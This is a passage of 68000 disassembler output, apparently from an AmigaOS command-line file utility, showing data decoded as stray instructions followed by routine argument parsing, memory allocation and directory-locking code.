SUBQ.B #7,10856(A0) ;06D0: 5F282A68
DC.W $3FCA ;06D4
DC.W $0374 ;06D6
SUB.B D7,(A2)+ ;06D8: 9F1A
BCHG D1,544(A6) ;06DA: 036E0220
SUB.B D7,(A2)+ ;06DE: 9F1A
MOVE -(A6),640(A7) ;06E0: 3F660280
DC.W $0019 ;06E4
SUBI #$3282,-(A5) ;06E6: 04653282
MOVE.B (A3)+,-25066(A5) ;06EA: 1B5B9E16
ORI #$E3FF,-(A5) ;06EE: 0065E3FF
DC.W $02B3 ;06F2
DC.W $E0FF ;06F4
DC.W $3FCA ;06F6
BTST D0,D2 ;06F8: 0102
ORI #$10E2,D3 ;06FA: 004310E2
BSET D2,-(A3) ;06FE: 05E3
ADD.B D7,(A6)+ ;0700: DF1E
DC.W $00C3 ;0702
DC.W $1079 ;0704
BSET D2,-(A3) ;0706: 05E3
ADD D2,(A7)+ ;0708: D55F
MOVEA D2,A1 ;070A: 3242
SUB.B (A6),D7 ;070C: 9E16
DC.W $3FCA ;070E
MOVE.B D1,(A0) ;0710: 1081
OR.L D4,(A3) ;0712: 8993
OR.B D6,D2 ;0714: 8406
DC.W $84FB ;0716
ADDX D4,D7 ;0718: DF44
OR.B 16330(A3),D0 ;071A: 802B3FCA
DC.W $1060 ;071E
MOVE (A0),0(A4,D1.W) ;0720: 39901000
DC.W $FB1E ;0724
SUB.B D6,D7 ;0726: 9E06
DC.W $3FCA ;0728
DC.W $103F ;072A
DC.W $00C2 ;072C
DC.W $107F ;072E
DC.W $3990 ;0730
BTST D2,(A2) ;0732: 0512
MOVE.B (A7)+,(A0)+ ;0734: 10DF
DC.W $FB1E ;0736
ORI.L #$18D919C2,(A1)+ ;0738: 009918D919C2
DIVU D4,D2 ;073E: 84C4
ASL D2,D5 ;0740: E565
MOVE.L (EXT_0000).W,(A2) ;0742: 24B85DB6
BSET D2,-(A0) ;0746: 05E0
DC.W $3677 ;0748
DC.W $F720 ;074A
DC.W $FA02 ;074C
OR -31640(A0),D2 ;074E: 84688468
OR -31640(A0),D2 ;0752: 84688468
DC.W $3FCA ;0756
DC.W $F9E3 ;0758
DC.W $9FFB ;075A
MOVE.B -(A5),(A0) ;075C: 10A5
DC.W $17FF ;075E
SUB.B (A6),D7 ;0760: 9E16
DC.W $3FCA ;0762
DC.W $9EFB ;0764
ADDX D0,D7 ;0766: DF40
DC.W $001D ;0768
MOVE.B -(A3),D0 ;076A: 1023
MOVE.B -(A4),(A0) ;076C: 10A4
SUB.B (A2)+,D7 ;076E: 9E1A
DC.W $697F ;0770
DC.W $997F ;0772
EXG D5,D4 ;0774: CB44
ASL #5,D4 ;0776: EB44
DC.W $001C ;0778
DC.W $FA02 ;077A
ROXR D2,D4 ;077C: E474
DC.W $E4FE ;077E
BTST D1,D2 ;0780: 0302
DC.W $3FCA ;0782
BCHG D1,-97(A4,D0.L) ;0784: 0374089F
DC.W $0374 ;0788
DC.W $3FCA ;078A
DC.W $7F7D ;078C
MOVE D2,(A1) ;078E: 3282
DC.W $A1C3 ;0790
ADD D2,(A7)+ ;0792: D55F
MOVE D2,(A1) ;0794: 3282
DC.W $3FCA ;0796
MOVE.B -(A2),(A0)+ ;0798: 10E2
DC.W $0374 ;079A
OR.B (A6),D2 ;079C: 8416
DC.W $847D ;079E
ANDI.L #$835802C3,(A3) ;07A0: 0293835802C3
CMPA.L -(A3),A7 ;07A6: BFE3
EOR D0,D2 ;07A8: B142
DC.W $9EF7 ;07AA
ROXR D2,D4 ;07AC: E474
SUBX.B -(A2),-(A7) ;07AE: 9F0A
SUBA.L 770(A2),A7 ;07B0: 9FEA0302
DC.W $6528 ;07B4
MOVEQ #-9,D7 ;07B6: 7EF7
DC.W $003D ;07B8
DC.W $6756 ;07BA
SECTION S_1,CODE
SECSTRT_1:
BCHG D7,(A5)+ ;07BC: 0F5D
DC.W $FF38 ;07BE
MOVEM.L D2-D7/A2-A3/A6,-(A7) ;07C0: 48E73F32
MOVEQ #0,D0 ;07C4: 7000
MOVE.L D0,-52(A5) ;07C6: 2B40FFCC
MOVE.L D0,-60(A5) ;07CA: 2B40FFC4
MOVE.L D0,D4 ;07CE: 2800
MOVE.L D0,-116(A5) ;07D0: 2B40FF8C
MOVE.L D0,D5 ;07D4: 2A00
MOVEA.L D0,A3 ;07D6: 2640
MOVE.L A3,-140(A5) ;07D8: 2B4BFF74
MOVE.L D0,-132(A5) ;07DC: 2B40FF7C
MOVE.L D0,-128(A5) ;07E0: 2B40FF80
MOVE.L D0,-124(A5) ;07E4: 2B40FF84
MOVE.L D0,-120(A5) ;07E8: 2B40FF88
MOVE.L D0,-68(A5) ;07EC: 2B40FFBC
MOVE.L D0,-56(A5) ;07F0: 2B40FFC8
MOVE.L D0,-48(A5) ;07F4: 2B40FFD0
MOVE.L D0,-44(A5) ;07F8: 2B40FFD4
MOVE.L D0,-36(A5) ;07FC: 2B40FFDC
MOVE.L D0,-32(A5) ;0800: 2B40FFE0
MOVE.L D0,-28(A5) ;0804: 2B40FFE4
LEA SECSTRT_2,A0 ;0808: 41F900001D24
LEA -148(A5),A1 ;080E: 43EDFF6C
MOVE.L (A0)+,(A1)+ ;0812: 22D8
MOVE.L (A0)+,(A1)+ ;0814: 22D8
CLR -174(A5) ;0816: 426DFF52
MOVEA #$0004,A0 ;081A: 307C0004
MOVEA.L (A0),A1 ;081E: 2250
MOVEQ #-1,D1 ;0820: 72FF
MOVE.L D1,-136(A5) ;0822: 2B41FF78
MOVE.L D0,-156(A5) ;0826: 2B40FF64
MOVE.L D0,-152(A5) ;082A: 2B40FF68
MOVE.L A1,50(A7) ;082E: 2F490032
MOVEA.L A1,A6 ;0832: 2C49
LEA LAB_00A9(PC),A1 ;0834: 43FA129E
MOVEQ #37,D0 ;0838: 7025
JSR -552(A6) ;083A: 4EAEFDD8
MOVEA.L D0,A2 ;083E: 2440
MOVEA.L A2,A0 ;0840: 204A
MOVE.L A0,46(A7) ;0842: 2F48002E
MOVE.L A2,D0 ;0846: 200A
BEQ LAB_00A6 ;0848: 6700126C
MOVEQ #64,D1 ;084C: 7240
LSL.L #6,D1 ;084E: ED89
MOVEA.L A2,A6 ;0850: 2C4A
JSR -792(A6) ;0852: 4EAEFCE8
TST.L D0 ;0856: 4A80
BEQ.S LAB_0008 ;0858: 670E
MOVEQ #76,D1 ;085A: 724C
LSL.L #2,D1 ;085C: E589
MOVEQ #0,D2 ;085E: 7400
JSR -474(A6) ;0860: 4EAEFE26
BRA LAB_009B ;0864: 60001138
LAB_0008:
MOVEA.L -140(A5),A3 ;0868: 266DFF74
MOVEA.L 46(A7),A2 ;086C: 246F002E
MOVEQ #80,D0 ;0870: 7050
MOVEQ #0,D1 ;0872: 7200
MOVEA.L 50(A7),A6 ;0874: 2C6F0032
JSR -684(A6) ;0878: 4EAEFD54
MOVE.L D0,-52(A5) ;087C: 2B40FFCC
BEQ.S LAB_0009 ;0880: 6736
MOVEQ #80,D0 ;0882: 7050
MOVEQ #0,D1 ;0884: 7200
JSR -684(A6) ;0886: 4EAEFD54
MOVE.L D0,-48(A5) ;088A: 2B40FFD0
BEQ.S LAB_0009 ;088E: 6728
MOVE.L #$0000021A,D0 ;0890: 203C0000021A
MOVEQ #1,D1 ;0896: 7201
SWAP D1 ;0898: 4841
JSR -684(A6) ;089A: 4EAEFD54
MOVEA.L D0,A3 ;089E: 2640
MOVE.L A3,-140(A5) ;08A0: 2B4BFF74
MOVE.L A3,D0 ;08A4: 200B
BEQ.S LAB_0009 ;08A6: 6710
MOVEQ #65,D0 ;08A8: 7041
LSL.L #2,D0 ;08AA: E588
MOVEQ #1,D1 ;08AC: 7201
JSR -684(A6) ;08AE: 4EAEFD54
MOVE.L D0,-132(A5) ;08B2: 2B40FF7C
BNE.S LAB_000A ;08B6: 6610
LAB_0009:
MOVEQ #103,D4 ;08B8: 7867
MOVEQ #103,D1 ;08BA: 7267
MOVEQ #0,D2 ;08BC: 7400
MOVEA.L A2,A6 ;08BE: 2C4A
JSR -474(A6) ;08C0: 4EAEFE26
BRA LAB_009B ;08C4: 600010D8
LAB_000A:
MOVEA.L -140(A5),A3 ;08C8: 266DFF74
MOVEA.L 46(A7),A2 ;08CC: 246F002E
MOVEQ #39,D0 ;08D0: 7027
MOVEQ #0,D1 ;08D2: 7200
LEA -108(A5),A0 ;08D4: 41EDFF94
LAB_000B:
MOVE.B D1,(A0)+ ;08D8: 10C1
DBF D0,LAB_000B ;08DA: 51C8FFFC
LEA LAB_00AA(PC),A0 ;08DE: 41FA1200
MOVE.L A0,D1 ;08E2: 2208
LEA -108(A5),A1 ;08E4: 43EDFF94
MOVE.L A1,D2 ;08E8: 2409
MOVEQ #0,D3 ;08EA: 7600
MOVEA.L A2,A6 ;08EC: 2C4A
JSR -798(A6) ;08EE: 4EAEFCE2
MOVE.L D0,-44(A5) ;08F2: 2B40FFD4
BNE.S LAB_000C ;08F6: 6616
JSR -132(A6) ;08F8: 4EAEFF7C
MOVE.L D0,D4 ;08FC: 2800
MOVEQ #20,D0 ;08FE: 7014
MOVE.L D0,-68(A5) ;0900: 2B40FFBC
MOVEQ #0,D0 ;0904: 7000
MOVE.L D0,-116(A5) ;0906: 2B40FF8C
BRA LAB_0098 ;090A: 6000103C
LAB_000C:
TST.L -72(A5) ;090E: 4AADFFB8
BEQ.S LAB_000D ;0912: 6716
MOVEA #$0004,A0 ;0914: 307C0004
MOVEA.L (A0),A1 ;0918: 2250
MOVEA.L 276(A1),A0 ;091A: 20690114
MOVE.L 184(A0),-136(A5) ;091E: 2B6800B8FF78
MOVEQ #-1,D0 ;0924: 70FF
MOVE.L D0,184(A0) ;0926: 214000B8
LAB_000D:
MOVEQ #125,D0 ;092A: 707D
LSL.L #2,D0 ;092C: E588
MOVEQ #0,D1 ;092E: 7200
MOVEA.L 50(A7),A6 ;0930: 2C6F0032
JSR -684(A6) ;0934: 4EAEFD54
MOVE.L D0,-56(A5) ;0938: 2B40FFC8
TST.L D0 ;093C: 4A80
BEQ.S LAB_000E ;093E: 6716
MOVEA.L -104(A5),A0 ;0940: 206DFF98
MOVE.L A0,D1 ;0944: 2208
MOVE.L D0,D2 ;0946: 2400
MOVEQ #125,D3 ;0948: 767D
LSL.L #2,D3 ;094A: E58B
MOVEA.L A2,A6 ;094C: 2C4A
JSR -840(A6) ;094E: 4EAEFCB8
TST.L D0 ;0952: 4A80
BEQ.S LAB_000F ;0954: 6718
LAB_000E:
LEA LAB_00AB(PC),A0 ;0956: 41FA11F2
MOVE.L A0,D1 ;095A: 2208
MOVEA.L A2,A6 ;095C: 2C4A
JSR -948(A6) ;095E: 4EAEFC4C
MOVEQ #0,D4 ;0962: 7800
MOVEQ #10,D0 ;0964: 700A
MOVE.L D0,-68(A5) ;0966: 2B40FFBC
BRA LAB_009B ;096A: 60001032
LAB_000F:
MOVEA.L -140(A5),A3 ;096E: 266DFF74
MOVEA.L 46(A7),A2 ;0972: 246F002E
MOVEA.L -56(A5),A1 ;0976: 226DFFC8
MOVEA.L 50(A7),A6 ;097A: 2C6F0032
JSR -690(A6) ;097E: 4EAEFD4E
SUBA.L A0,A0 ;0982: 91C8
MOVE.L A0,-56(A5) ;0984: 2B48FFC8
TST.L -108(A5) ;0988: 4AADFF94
BNE.S LAB_0010 ;098C: 6608
LEA -148(A5),A0 ;098E: 41EDFF6C
MOVE.L A0,-108(A5) ;0992: 2B48FF94
LAB_0010:
MOVE.B #$01,16(A3) ;0996: 177C00010010
MOVE.L #$00001000,8(A3) ;099C: 277C000010000008
MOVE #$0100,18(A3) ;09A4: 377C01000012
MOVEA.L -108(A5),A3 ;09AA: 266DFF94
CLR -174(A5) ;09AE: 426DFF52
BRA.S LAB_0012 ;09B2: 6004
LAB_0011:
ADDQ #1,-174(A5) ;09B4: 526DFF52
LAB_0012:
MOVEA.L A3,A0 ;09B8: 204B
ADDQ.L #4,A3 ;09BA: 588B
TST.L (A0) ;09BC: 4A90
BNE.S LAB_0011 ;09BE: 66F4
MOVEQ #0,D7 ;09C0: 7E00
MOVE -174(A5),D7 ;09C2: 3E2DFF52
ASL.L #2,D7 ;09C6: E587
MOVE.L D7,D0 ;09C8: 2007
MOVE.L #$00010001,D1 ;09CA: 223C00010001
MOVEA.L 50(A7),A6 ;09D0: 2C6F0032
JSR -684(A6) ;09D4: 4EAEFD54
MOVE.L D0,-152(A5) ;09D8: 2B40FF68
BNE.S LAB_0013 ;09DC: 6614
MOVEQ #103,D4 ;09DE: 7867
MOVEQ #103,D1 ;09E0: 7267
MOVEQ #0,D2 ;09E2: 7400
MOVEA.L A2,A6 ;09E4: 2C4A
JSR -474(A6) ;09E6: 4EAEFE26
MOVEA.L -140(A5),A3 ;09EA: 266DFF74
BRA LAB_009B ;09EE: 60000FAE
LAB_0013:
MOVEA.L 46(A7),A2 ;09F2: 246F002E
MOVE.L D7,D0 ;09F6: 2007
MOVE.L #$00010001,D1 ;09F8: 223C00010001
MOVEA.L 50(A7),A6 ;09FE: 2C6F0032
JSR -684(A6) ;0A02: 4EAEFD54
MOVE.L D0,-156(A5) ;0A06: 2B40FF64
BNE.S LAB_0014 ;0A0A: 6614
MOVEQ #103,D4 ;0A0C: 7867
MOVEQ #103,D1 ;0A0E: 7267
MOVEQ #0,D2 ;0A10: 7400
MOVEA.L A2,A6 ;0A12: 2C4A
JSR -474(A6) ;0A14: 4EAEFE26
MOVEA.L -140(A5),A3 ;0A18: 266DFF74
BRA LAB_009B ;0A1C: 60000F80
LAB_0014:
MOVEA.L 46(A7),A2 ;0A20: 246F002E
MOVEA.L -108(A5),A0 ;0A24: 206DFF94
CLR -170(A5) ;0A28: 426DFF56
MOVE.L A0,42(A7) ;0A2C: 2F48002A
BRA LAB_0028 ;0A30: 600001C4
LAB_0015:
MOVEA.L (A3),A2 ;0A34: 2453
CLR -166(A5) ;0A36: 426DFF5A
BRA.S LAB_0017 ;0A3A: 6004
LAB_0016:
ADDQ #1,-166(A5) ;0A3C: 526DFF5A
LAB_0017:
MOVEA.L A2,A3 ;0A40: 264A
MOVEQ #0,D0 ;0A42: 7000
MOVE -166(A5),D0 ;0A44: 302DFF5A
ADDA.L D0,A3 ;0A48: D7C0
MOVE.B (A3),D0 ;0A4A: 1013
MOVEQ #58,D1 ;0A4C: 723A
CMP.B D1,D0 ;0A4E: B001
BEQ.S LAB_0018 ;0A50: 6704
TST.B D0 ;0A52: 4A00
BNE.S LAB_0016 ;0A54: 66E6
LAB_0018:
MOVEQ #0,D0 ;0A56: 7000
MOVE -166(A5),D0 ;0A58: 302DFF5A
MOVEQ #58,D1 ;0A5C: 723A
CMP.B 0(A2,D0.L),D1 ;0A5E: B2320800
BNE LAB_0027 ;0A62: 6600018A
ADDQ #1,D0 ;0A66: 5240
MOVEA.L A2,A0 ;0A68: 204A
MOVEQ #0,D1 ;0A6A: 7200
MOVE D0,D1 ;0A6C: 3200
ADDA.L D1,A0 ;0A6E: D1C1
MOVE.B (A0),D0 ;0A70: 1010
CLR.B (A0) ;0A72: 4210
MOVEQ #0,D1 ;0A74: 7200
MOVE.B D0,36(A7) ;0A76: 1F400024
MOVE D1,-168(A5) ;0A7A: 3B41FF58
MOVE D1,-172(A5) ;0A7E: 3B41FF54
MOVE.L A0,38(A7) ;0A82: 2F480026
BRA.S LAB_001B ;0A86: 602C
LAB_0019:
MOVEQ #0,D0 ;0A88: 7000
MOVE -168(A5),D0 ;0A8A: 302DFF58
ASL.L #2,D0 ;0A8E: E580
MOVEA.L -156(A5),A0 ;0A90: 206DFF64
ADDA.L D0,A0 ;0A94: D1C0
MOVEA.L A0,A3 ;0A96: 2648
MOVE.L (A3),D0 ;0A98: 2013
BEQ.S LAB_001A ;0A9A: 6714
MOVEA.L D0,A1 ;0A9C: 2240
MOVEA.L A2,A0 ;0A9E: 204A
JSR LAB_00DF(PC) ;0AA0: 4EBA124E
TST.L D0 ;0AA4: 4A80
BNE.S LAB_001A ;0AA6: 6608
MOVEQ #1,D0 ;0AA8: 7001
MOVE D0,-172(A5) ;0AAA: 3B40FF54
BRA.S LAB_001C ;0AAE: 600E
LAB_001A:
ADDQ #1,-168(A5) ;0AB0: 526DFF58
LAB_001B:
MOVE -168(A5),D0 ;0AB4: 302DFF58
CMP -170(A5),D0 ;0AB8: B06DFF56
BLS.S LAB_0019 ;0ABC: 63CA
LAB_001C:
MOVEA.L -152(A5),A0 ;0ABE: 206DFF68
MOVEA.L A0,A1 ;0AC2: 2248
ADDA.L D7,A1 ;0AC4: D3C7
MOVEA.L A1,A3 ;0AC6: 2649
TST -172(A5) ;0AC8: 4A6DFF54
BEQ.S LAB_0020 ;0ACC: 6754
MOVEQ #0,D0 ;0ACE: 7000
MOVE -168(A5),D0 ;0AD0: 302DFF58
ASL.L #2,D0 ;0AD4: E580
ADDA.L D0,A0 ;0AD6: D1C0
MOVE.L (A0),D1 ;0AD8: 2210
MOVEA.L 46(A7),A6 ;0ADA: 2C6F002E
JSR -96(A6) ;0ADE: 4EAEFFA0
MOVE.L D0,(A3) ;0AE2: 2680
TST.L D0 ;0AE4: 4A80
BNE.S LAB_001D ;0AE6: 661A
MOVEA.L A6,A2 ;0AE8: 244E
MOVEA.L A2,A6 ;0AEA: 2C4A
JSR -132(A6) ;0AEC: 4EAEFF7C
MOVE.L D0,D4 ;0AF0: 2800
MOVE.L D4,D1 ;0AF2: 2204
MOVEQ #0,D2 ;0AF4: 7400
JSR -474(A6) ;0AF6: 4EAEFE26
MOVEA.L -140(A5),A3 ;0AFA: 266DFF74
BRA LAB_009B ;0AFE: 60000E9E
LAB_001D:
MOVEA.L 38(A7),A3 ;0B02: 266F0026
MOVE.B 36(A7),D0 ;0B06: 102F0024
MOVE.B D0,(A3) ;0B0A: 1680
TST.B D0 ;0B0C: 4A00
BEQ.S LAB_001F ;0B0E: 670C
MOVEA.L A3,A0 ;0B10: 204B
MOVEA.L A2,A1 ;0B12: 224A
LAB_001E:
MOVE.B (A0)+,(A1)+ ;0B14: 12D8
BNE.S LAB_001E ;0B16: 66FC
BRA LAB_0027 ;0B18: 600000D4
LAB_001F:
CLR.B (A2) ;0B1C: 4212
BRA LAB_0027 ;0B1E: 600000CE
LAB_0020:
MOVE.L A2,D1 ;0B22: 220A
MOVEQ #-2,D2 ;0B24: 74FE
MOVEA.L 46(A7),A6 ;0B26: 2C6F002E
JSR -84(A6) ;0B2A: 4EAEFFAC
MOVE.L D0,(A3) ;0B2E: 2680
TST.L D0 ;0B30: 4A80
BNE.S LAB_0021 ;0B32: 6658
MOVE.B 36(A7),D0 ;0B34: 102F0024
MOVEA.L 38(A7),A0 ;0B38: 206F0026
MOVE.B D0,(A0) ;0B3C: 1080
JSR -132(A6) ;0B3E: 4EAEFF7C
MOVE.L D0,D4 ;0B42: 2800
MOVEQ #46,D0 ;0B44: 702E
NOT.B D0 ;0B46: 4600
CMP.L D0,D4 ;0B48: B880
BEQ LAB_0027 ;0B4A: 670000A2
MOVE.L A2,-116(A5) ;0B4E: 2B4AFF8C
MOVEA.L A6,A2 ;0B52: 244E
LEA LAB_00AE(PC),A0 ;0B54: 41FA1014
MOVE.L A0,D1 ;0B58: 2208
LEA -116(A5),A1 ;0B5A: 43EDFF8C
MOVE.L A1,D2 ;0B5E: 2409
MOVEA.L A2,A6 ;0B60: 2C4A
JSR -954(A6) ;0B62: 4EAEFC46
LEA LAB_00AF(PC),A0 ;0B66: 41FA1016
MOVE.L A0,-116(A5) ;0B6A: 2B48FF8C
LEA LAB_00B0(PC),A0 ;0B6E: 41FA1012
MOVE.L A0,D1 ;0B72: 2208
JSR -954(A6) ;0B74: 4EAEFC46
MOVE.L D4,D1 ;0B78: 2204
MOVEQ #0,D2 ;0B7A: 7400
JSR -474(A6) ;0B7C: 4EAEFE26
CLR.L -116(A5) ;0B80: 42ADFF8C
MOVEA.L -140(A5),A3 ;0B84: 266DFF74
BRA LAB_009B ;0B88: 60000E14
LAB_0021:
MOVEA.L -156(A5),A0 ;0B8C: 206DFF64
ADDA.L D7,A0 ;0B90: D1C7
MOVEA.L A0,A3 ;0B92: 2648
MOVEA.L A2,A0 ;0B94: 204A
LAB_0022:
TST.B (A0)+ ;0B96: 4A18
BNE.S LAB_0022 ;0B98: 66FC
SUBQ.L #1,A0 ;0B9A: 5388
SUBA.L A2,A0 ;0B9C: 91CA
MOVE.L A0,D0 ;0B9E: 2008
ADDQ.L #1,D0 ;0BA0: 5280
MOVE.L #$00010001,D1 ;0BA2: 223C00010001
MOVEA.L 50(A7),A6 ;0BA8: 2C6F0032
JSR -684(A6) ;0BAC: 4EAEFD54
MOVE.L D0,(A3) ;0BB0: 2680
BNE.S LAB_0023 ;0BB2: 6618
MOVEQ #103,D4 ;0BB4: 7867
MOVEA.L 46(A7),A2 ;0BB6: 246F002E
MOVEQ #103,D1 ;0BBA: 7267
MOVEQ #0,D2 ;0BBC: 7400
MOVEA.L A2,A6 ;0BBE: 2C4A
JSR -474(A6) ;0BC0: 4EAEFE26
MOVEA.L -140(A5),A3 ;0BC4: 266DFF74
BRA LAB_009B ;0BC8: 60000DD4
LAB_0023:
MOVEA.L A2,A0 ;0BCC: 204A
MOVEA.L (A3),A1 ;0BCE: 2253
LAB_0024:
MOVE.B (A0)+,(A1)+ ;0BD0: 12D8
BNE.S LAB_0024 ;0BD2: 66FC
MOVEA.L 38(A7),A3 ;0BD4: 266F0026
MOVE.B 36(A7),D0 ;0BD8: 102F0024
MOVE.B D0,(A3) ;0BDC: 1680
TST.B D0 ;0BDE: 4A00
BEQ.S LAB_0026 ;0BE0: 670A
MOVEA.L A3,A0 ;0BE2: 204B
MOVEA.L A2,A1 ;0BE4: 224A
LAB_0025:
MOVE.B (A0)+,(A1)+ ;0BE6: 12D8
BNE.S LAB_0025 ;0BE8: 66FC
BRA.S LAB_0027 ;0BEA: 6002
LAB_0026:
CLR.B (A2) ;0BEC: 4212
LAB_0027:
ADDQ #1,-170(A5) ;0BEE: 526DFF56
MOVEA.L 46(A7),A2 ;0BF2: 246F002E
LAB_0028:
MOVEQ #0,D7 ;0BF6: 7E00
MOVE -170(A5),D7 ;0BF8: 3E2DFF56
ASL.L #2,D7 ;0BFC: E587
MOVEA.L 42(A7),A0 ;0BFE: 206F002A
ADDA.L D7,A0 ;0C02: D1C7
MOVEA.L A0,A3 ;0C04: 2648
TST.L (A3) ;0C06: 4A93
BNE LAB_0015 ;0C08: 6600FE2A
MOVE.L -108(A5),-64(A5) ;0C0C: 2B6DFF94FFC0
MOVEA.L -152(A5),A3 ;0C12: 266DFF68
MOVE.L A3,-160(A5) ;0C16: 2B4BFF60
CLR.L -116(A5) ;0C1A: 42ADFF8C
MOVE.L (A3),D0 ;0C1E: 2013
BEQ.S LAB_0029 ;0C20: 670C
MOVE.L D0,D1 ;0C22: 2200
MOVEA.L A2,A6 ;0C24: 2C4A
JSR -126(A6) ;0C26: 4EAEFF82
MOVE.L D0,-164(A5) ;0C2A: 2B40FF5C
LAB_0029:
MOVEA.L -64(A5),A0 ;0C2E: 206DFFC0
MOVE.L (A0),D1 ;0C32: 2210
MOVE.L -140(A5),D2 ;0C34: 242DFF74
MOVEA.L A2,A6 ;0C38: 2C4A
JSR -822(A6) ;0C3A: 4EAEFCCA
TST.L D0 ;0C3E: 4A80
BEQ LAB_002F ;0C40: 670000D2
TST.L (A3) ;0C44: 4A93
BEQ.S LAB_002A ;0C46: 6708
MOVE.L -164(A5),D1 ;0C48: 222DFF5C
JSR -126(A6) ;0C4C: 4EAEFF82
LAB_002A:
JSR -132(A6) ;0C50: 4EAEFF7C
MOVE.L D0,D4 ;0C54: 2800
MOVEQ #50,D0 ;0C56: 7032
NOT.B D0 ;0C58: 4600
CMP.L D0,D4 ;0C5A: B880
BNE LAB_0096 ;0C5C: 66000CD4
MOVE.L -108(A5),D0 ;0C60: 202DFF94
MOVE.L D0,-116(A5) ;0C64: 2B40FF8C
MOVE.L D0,D2 ;0C68: 2400
LEA LAB_00AE(PC),A0 ;0C6A: 41FA0EFE
MOVE.L A0,D1 ;0C6E: 2208
JSR -954(A6) ;0C70: 4EAEFC46
LEA LAB_00AF(PC),A0 ;0C74: 41FA0F08
MOVE.L A0,-116(A5) ;0C78: 2B48FF8C
LEA LAB_00B0(PC),A0 ;0C7C: 41FA0F04
MOVE.L A0,D1 ;0C80: 2208
LEA -116(A5),A1 ;0C82: 43EDFF8C
MOVE.L A1,D2 ;0C86: 2409
JSR -954(A6) ;0C88: 4EAEFC46
MOVE.L D4,D1 ;0C8C: 2204
MOVEQ #0,D2 ;0C8E: 7400
JSR -474(A6) ;0C90: 4EAEFE26
CLR.L -116(A5) ;0C94: 42ADFF8C
MOVEA.L -108(A5),A0 ;0C98: 206DFF94
MOVE.L (A0),D1 ;0C9C: 2210
JSR -876(A6) ;0C9E: 4EAEFC94
MOVEA.L D0,A3 ;0CA2: 2640
MOVE.B (A3),D0 ;0CA4: 1013
CLR.B (A3) ;0CA6: 4213
MOVE.B D0,36(A7) ;0CA8: 1F400024
MOVEA.L -160(A5),A0 ;0CAC: 206DFF60
MOVE.L (A0),D1 ;0CB0: 2210
BEQ.S LAB_002B ;0CB2: 6708
JSR -126(A6) ;0CB4: 4EAEFF82
MOVE.L D0,-164(A5) ;0CB8: 2B40FF5C
LAB_002B:
MOVEA.L -108(A5),A0 ;0CBC: 206DFF94
MOVE.L (A0),D1 ;0CC0: 2210
MOVEQ #-2,D2 ;0CC2: 74FE
JSR -84(A6) ;0CC4: 4EAEFFAC
MOVE.L D0,D7 ;0CC8: 2E00
LEA LAB_00B1(PC),A0 ;0CCA: 41FA0EC0
MOVE.L A0,D1 ;0CCE: 2208
JSR -84(A6) ;0CD0: 4EAEFFAC
MOVE.L D0,D6 ;0CD4: 2C00
MOVEA.L -160(A5),A0 ;0CD6: 206DFF60
TST.L (A0) ;0CDA: 4A90
BEQ.S LAB_002C ;0CDC: 6708
MOVE.L -164(A5),D1 ;0CDE: 222DFF5C
JSR -126(A6) ;0CE2: 4EAEFF82
LAB_002C:
MOVE.L D7,D1 ;0CE6: 2207
MOVE.L D6,D2 ;0CE8: 2406
JSR -420(A6) ;0CEA: 4EAEFE5C
TST.L D0 ;0CEE: 4A80
BNE.S LAB_002D ;0CF0: 6604
MOVEQ #5,D0 ;0CF2: 7005
BRA.S LAB_002E ;0CF4: 6002
LAB_002D:
MOVEQ #20,D0 ;0CF6: 7014
LAB_002E:
MOVE.B 36(A7),(A3) ;0CF8: 16AF0024
MOVE.L D0,-68(A5) ;0CFC: 2B40FFBC
MOVE.L D7,D1 ;0D00: 2207
JSR -90(A6) ;0D02: 4EAEFFA6
MOVE.L D2,D1 ;0D06: 2202
JSR -90(A6) ;0D08: 4EAEFFA6
MOVEA.L -140(A5),A3 ;0D0C: 266DFF74
BRA LAB_009B ;0D10: 60000C8C
LAB_002F:
MOVEA.L 46(A7),A2 ;0D14: 246F002E
MOVEA.L -160(A5),A3 ;0D18: 266DFF60
MOVEA.L -104(A5),A0 ;0D1C: 206DFF98
MOVE.L A0,D1 ;0D20: 2208
MOVEA.L A2,A6 ;0D22: 2C4A
JSR -708(A6) ;0D24: 4EAEFD3C
EXT.L D0 ;0D28: 48C0
MOVEM.L D0,40(A7) ;0D2A: 48EF00010028
BNE.S LAB_0030 ;0D30: 662C
JSR -132(A6) ;0D32: 4EAEFF7C
TST.L D0 ;0D36: 4A80
BEQ.S LAB_0030 ;0D38: 6724
JSR -132(A6) ;0D3A: 4EAEFF7C
MOVEQ #46,D1 ;0D3E: 722E
NOT.B D1 ;0D40: 4601
CMP.L D1,D0 ;0D42: B081
BEQ.S LAB_0030 ;0D44: 6718
JSR -132(A6) ;0D46: 4EAEFF7C
MOVE.L D0,D4 ;0D4A: 2800
TST.L (A3) ;0D4C: 4A93
BEQ LAB_0096 ;0D4E: 67000BE2
MOVE.L -164(A5),D1 ;0D52: 222DFF5C
JSR -126(A6) ;0D56: 4EAEFF82
BRA LAB_0096 ;0D5A: 60000BD6
LAB_0030:
MOVEA.L 46(A7),A2 ;0D5E: 246F002E
MOVEA.L -160(A5),A3 ;0D62: 266DFF60
TST.L (A3) ;0D66: 4A93
BEQ.S LAB_0031 ;0D68: 670A
MOVE.L -164(A5),D1 ;0D6A: 222DFF5C
MOVEA.L A2,A6 ;0D6E: 2C4A
JSR -126(A6) ;0D70: 4EAEFF82
LAB_0031:
MOVEA.L -140(A5),A3 ;0D74: 266DFF74
BTST #1,16(A3) ;0D78: 082B00010010
BNE.S LAB_0032 ;0D7E: 6612
MOVE.L 24(A3),D0 ;0D80: 202B0018
TST.L D0 ;0D84: 4A80
BGT.S LAB_0032 ;0D86: 6E0A
MOVEA.L -64(A5),A0 ;0D88: 206DFFC0
TST.L 4(A0) ;0D8C: 4AA80004
BEQ.S LAB_0033 ;0D90: 6740
LAB_0032:
MOVEQ #1,D0 ;0D92: 7001
MOVE.L D0,-28(A5) ;0D94: 2B40FFE4
BTST #1,16(A3) ;0D98: 082B00010010
BNE.S LAB_0033 ;0D9E: 6632
MOVE.L 24(A3),D0 ;0DA0: 202B0018
TST.L D0 ;0DA4: 4A80
BLE.S LAB_0033 ;0DA6: 6F2A
BSET #2,16(A3) ;0DA8: 08EB00020010
MOVEA.L -160(A5),A0 ;0DAE: 206DFF60
MOVE.L (A0),D0 ;0DB2: 2010
MOVEA.L A3,A0 ;0DB4: 204B
MOVEA.L A2,A1 ;0DB6: 224A
BSR LAB_00D0 ;0DB8: 61000EAA
TST.L D0 ;0DBC: 4A80
BEQ.S LAB_0033 ;0DBE: 6712
MOVEA.L A2,A6 ;0DC0: 2C4A
JSR -132(A6) ;0DC2: 4EAEFF7C
MOVE.L D0,D4 ;0DC6: 2800
MOVEQ #116,D0 ;0DC8: 7074
